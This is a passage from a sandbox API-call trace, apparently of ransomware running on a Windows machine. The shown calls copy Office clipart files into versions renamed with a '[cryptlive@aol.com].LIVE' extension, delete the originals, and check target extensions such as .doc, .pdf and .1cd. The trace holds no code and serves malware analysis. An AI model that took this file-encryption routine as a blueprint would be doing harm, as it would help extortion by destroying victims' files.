Office\\CLIPART\\PUB60COR\\J0101864.BMP.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0150.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0150.399] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.399] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0150.402] GetLastError () returned 0x0 [0150.402] ReadFile (in: hFile=0x3a8, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x7ce0, lpOverlapped=0x0) returned 1 [0150.423] WriteFile (in: hFile=0x3b0, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x7cf0, lpOverlapped=0x0) returned 1 [0150.425] ReadFile (in: hFile=0x3a8, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0150.425] WriteFile (in: hFile=0x3b0, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.425] SetEndOfFile (hFile=0x3b0) returned 1 [0150.425] CloseHandle (hObject=0x3b0) returned 1 [0150.425] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.425] SetEndOfFile (hFile=0x3a8) returned 1 [0150.428] CloseHandle (hObject=0x3a8) returned 1 [0150.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0150.445] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp")) returned 1 [0150.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0150.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0150.446] lstrlenW (lpString=".doc") returned 4 [0150.446] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0150.446] lstrlenW (lpString=".docx") returned 5 [0150.446] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1 [0150.446] lstrlenW (lpString=".pdf") returned 4 [0150.446] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0150.446] lstrlenW (lpString=".xls") returned 4 [0150.446] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0150.446] lstrlenW (lpString=".xlsx") returned 5 [0150.446] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1 [0150.446] lstrlenW (lpString=".ppt") returned 4 [0150.446] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0150.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0150.446] lstrlenW (lpString=".zip") returned 4 [0150.446] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0150.446] lstrlenW (lpString=".rar") returned 4 [0150.446] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0150.446] lstrlenW (lpString=".bz2") returned 4 [0150.446] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0150.446] lstrlenW (lpString=".7z") returned 3 [0150.446] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0150.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0150.446] lstrlenW (lpString=".dbf") returned 4 [0150.446] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0150.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0150.446] lstrlenW (lpString=".1cd") returned 4 [0150.446] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0150.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0150.446] lstrlenW (lpString=".jpg") returned 4 [0150.446] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0150.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0150.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0150.447] lstrlenW (lpString=".doc") returned 4 [0150.447] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0150.447] lstrlenW (lpString=".docx") returned 5 [0150.447] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1 [0150.447] lstrlenW (lpString=".pdf") returned 4 [0150.447] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0150.447] lstrlenW (lpString=".xls") returned 4 [0150.447] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0150.447] lstrlenW (lpString=".xlsx") returned 5 [0150.447] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1 [0150.447] lstrlenW (lpString=".ppt") returned 4 [0150.447] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0150.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0150.447] lstrlenW (lpString=".zip") returned 4 [0150.447] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0150.447] lstrlenW (lpString=".rar") returned 4 [0150.447] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0150.447] lstrlenW (lpString=".bz2") returned 4 [0150.447] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0150.447] lstrlenW (lpString=".7z") returned 3 [0150.447] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0150.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0150.447] lstrlenW (lpString=".dbf") returned 4 [0150.447] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0150.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0150.447] lstrlenW (lpString=".1cd") returned 4 [0150.447] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0150.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0150.447] lstrlenW (lpString=".jpg") returned 4 [0150.447] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0150.447] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0150.448] lstrlenW (lpString="J0101980.WMF") returned 12 [0150.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0150.643] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=16104) returned 1 [0150.643] CloseHandle (hObject=0x314) returned 1 [0150.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf")) returned 0x20 [0150.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0150.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0150.644] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.644] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0150.645] GetLastError () returned 0x0 [0150.645] ReadFile (in: hFile=0x314, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x3ee8, lpOverlapped=0x0) returned 1 [0150.659] WriteFile (in: hFile=0x3b0, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x3ef0, lpOverlapped=0x0) returned 1 [0150.660] ReadFile (in: hFile=0x314, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0150.660] WriteFile (in: hFile=0x3b0, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.660] SetEndOfFile (hFile=0x3b0) returned 1 [0150.660] CloseHandle (hObject=0x3b0) returned 1 [0150.660] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.660] SetEndOfFile (hFile=0x314) returned 1 [0150.665] CloseHandle (hObject=0x314) returned 1 [0150.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0150.666] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf")) returned 1 [0150.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0150.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0150.668] lstrlenW (lpString=".doc") returned 4 [0150.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.668] lstrlenW (lpString=".docx") returned 5 [0150.668] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0150.668] lstrlenW (lpString=".pdf") returned 4 [0150.668] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.668] lstrlenW (lpString=".xls") returned 4 [0150.668] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.668] lstrlenW (lpString=".xlsx") returned 5 [0150.668] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0150.668] lstrlenW (lpString=".ppt") returned 4 [0150.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0150.669] lstrlenW (lpString=".zip") returned 4 [0150.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.669] lstrlenW (lpString=".rar") returned 4 [0150.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.669] lstrlenW (lpString=".bz2") returned 4 [0150.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.669] lstrlenW (lpString=".7z") returned 3 [0150.669] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0150.669] lstrlenW (lpString=".dbf") returned 4 [0150.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0150.669] lstrlenW (lpString=".1cd") returned 4 [0150.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0150.669] lstrlenW (lpString=".jpg") returned 4 [0150.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0150.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0150.669] lstrlenW (lpString=".doc") returned 4 [0150.669] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.669] lstrlenW (lpString=".docx") returned 5 [0150.669] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0150.669] lstrlenW (lpString=".pdf") returned 4 [0150.669] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.669] lstrlenW (lpString=".xls") returned 4 [0150.669] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.669] lstrlenW (lpString=".xlsx") returned 5 [0150.669] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0150.669] lstrlenW (lpString=".ppt") returned 4 [0150.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0150.669] lstrlenW (lpString=".zip") returned 4 [0150.670] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.670] lstrlenW (lpString=".rar") returned 4 [0150.670] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.670] lstrlenW (lpString=".bz2") returned 4 [0150.670] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.670] lstrlenW (lpString=".7z") returned 3 [0150.670] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0150.670] lstrlenW (lpString=".dbf") returned 4 [0150.670] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0150.670] lstrlenW (lpString=".1cd") returned 4 [0150.670] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0150.670] lstrlenW (lpString=".jpg") returned 4 [0150.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.670] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0150.670] lstrlenW (lpString="J0102762.WMF") returned 12 [0150.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0150.671] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=11216) returned 1 [0150.671] CloseHandle (hObject=0x314) returned 1 [0150.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf")) returned 0x20 [0150.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0150.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0150.671] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.671] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0151.472] GetLastError () returned 0x0 [0151.472] ReadFile (in: hFile=0x314, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x2bd0, lpOverlapped=0x0) returned 1 [0151.475] WriteFile (in: hFile=0x3b8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x2be0, lpOverlapped=0x0) returned 1 [0151.476] ReadFile (in: hFile=0x314, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0151.476] WriteFile (in: hFile=0x3b8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.476] SetEndOfFile (hFile=0x3b8) returned 1 [0151.477] CloseHandle (hObject=0x3b8) returned 1 [0151.477] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.477] SetEndOfFile (hFile=0x314) returned 1 [0151.479] CloseHandle (hObject=0x314) returned 1 [0151.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.491] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf")) returned 1 [0151.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0151.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0151.492] lstrlenW (lpString=".doc") returned 4 [0151.492] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.493] lstrlenW (lpString=".docx") returned 5 [0151.493] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0151.493] lstrlenW (lpString=".pdf") returned 4 [0151.493] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.493] lstrlenW (lpString=".xls") returned 4 [0151.493] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.493] lstrlenW (lpString=".xlsx") returned 5 [0151.493] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0151.493] lstrlenW (lpString=".ppt") returned 4 [0151.493] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0151.493] lstrlenW (lpString=".zip") returned 4 [0151.493] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.493] lstrlenW (lpString=".rar") returned 4 [0151.493] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.493] lstrlenW (lpString=".bz2") returned 4 [0151.493] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.493] lstrlenW (lpString=".7z") returned 3 [0151.493] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0151.493] lstrlenW (lpString=".dbf") returned 4 [0151.493] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0151.493] lstrlenW (lpString=".1cd") returned 4 [0151.493] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0151.493] lstrlenW (lpString=".jpg") returned 4 [0151.493] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0151.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0151.493] lstrlenW (lpString=".doc") returned 4 [0151.493] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.493] lstrlenW (lpString=".docx") returned 5 [0151.493] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0151.494] lstrlenW (lpString=".pdf") returned 4 [0151.494] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.494] lstrlenW (lpString=".xls") returned 4 [0151.494] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.494] lstrlenW (lpString=".xlsx") returned 5 [0151.494] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0151.494] lstrlenW (lpString=".ppt") returned 4 [0151.494] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0151.494] lstrlenW (lpString=".zip") returned 4 [0151.494] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.494] lstrlenW (lpString=".rar") returned 4 [0151.494] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.494] lstrlenW (lpString=".bz2") returned 4 [0151.494] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.494] lstrlenW (lpString=".7z") returned 3 [0151.494] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0151.494] lstrlenW (lpString=".dbf") returned 4 [0151.494] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0151.494] lstrlenW (lpString=".1cd") returned 4 [0151.494] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0151.494] lstrlenW (lpString=".jpg") returned 4 [0151.494] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.494] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0151.494] lstrlenW (lpString="J0103262.WMF") returned 12 [0151.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0151.495] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=12900) returned 1 [0151.495] CloseHandle (hObject=0x3b8) returned 1 [0151.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf")) returned 0x20 [0151.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0151.495] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.496] SetFilePointerEx (in: hFile=0x3b8, 